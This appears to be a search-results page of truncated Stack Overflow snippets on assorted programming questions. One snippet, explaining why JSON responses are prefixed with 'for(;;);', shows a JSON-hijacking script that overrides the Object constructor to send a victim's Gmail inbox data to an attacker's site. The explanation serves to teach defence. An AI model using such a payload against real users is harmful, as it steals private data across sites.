大约有 15,900 项符合查询结果（耗时：0.0169秒） [XML]
How to add test coverage to a private constructor?
...e placing too high a value on a simple number. Coverage is an indicator of testing. Don't be a slave to a tool. The point of coverage is to give you a level of confidence, and to suggest areas for extra testing. Artificially calling an otherwise unused constructor doesn't help with either of those p...
Why do people put code like “throw 1; ” and “for(;;);” in front of json responses? [du
...
Consider that, after checking your GMail account, that you go visit my evil page:
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></scr...
Exit a Script On Error
...e risk of forgetting to deal with an error case.
Commands whose status is tested by a conditional (such as if, && or ||) do not terminate the script (otherwise the conditional would be pointless). An idiom for the occasional command whose failure doesn't matter is command-that-may-fail || t...
How to create a temporary directory/folder in Java?
...
If you need a temporary directory for testing and you are using jUnit, @Rule together with TemporaryFolder solves your problem:
@Rule
public TemporaryFolder folder = new TemporaryFolder();
From the documentation:
The TemporaryFolder Rule allows creation of...
How do I list one filename per output line in Linux?
...at 21:24
Gilles 'SO- stop being evil'Gilles 'SO- stop being evil'
87.9k2424 gold badges184184 silver badges224224 bronze badges
...
How to loop through a directory recursively to delete files with certain extensions
...Use find … -exec instead.
– Gilles 'SO- stop being evil'
Jul 13 '17 at 15:54
add a comment
|
...
C read file line by line
...tions available on the web.
– Gilles 'SO- stop being evil'
Aug 17 '10 at 11:55
13
Why should I do...
Is there a way to access method arguments in Ruby?
...here must be a way other than using eval. I'm looking in Kernel doc
class Test
def method(first, last)
local_variables.each do |var|
puts eval var.to_s
end
end
end
Test.new().method("aaa", 1) # outputs "aaa", 1
...
Import package.* vs import package.SpecificType [duplicate]
...
Poof! Now your code refuses to compile.
Never use import-on-demand. It's evil!
See http://javadude.com/articles/importondemandisevil.html for more details.
RE performance:
import a.*;
vs
import a.X;
Makes no difference at runtime. The compiler hardwires the resolved class names into the ge...
How to check if function exists in JavaScript?
...eof obj == 'function' would be insufficient? ;-) Reminder: strict equality test operator only makes sense when the static operand is empty or null or 0 or subject to any cast amalgame like this.
– Fabien Haddadi
Apr 30 at 19:18
...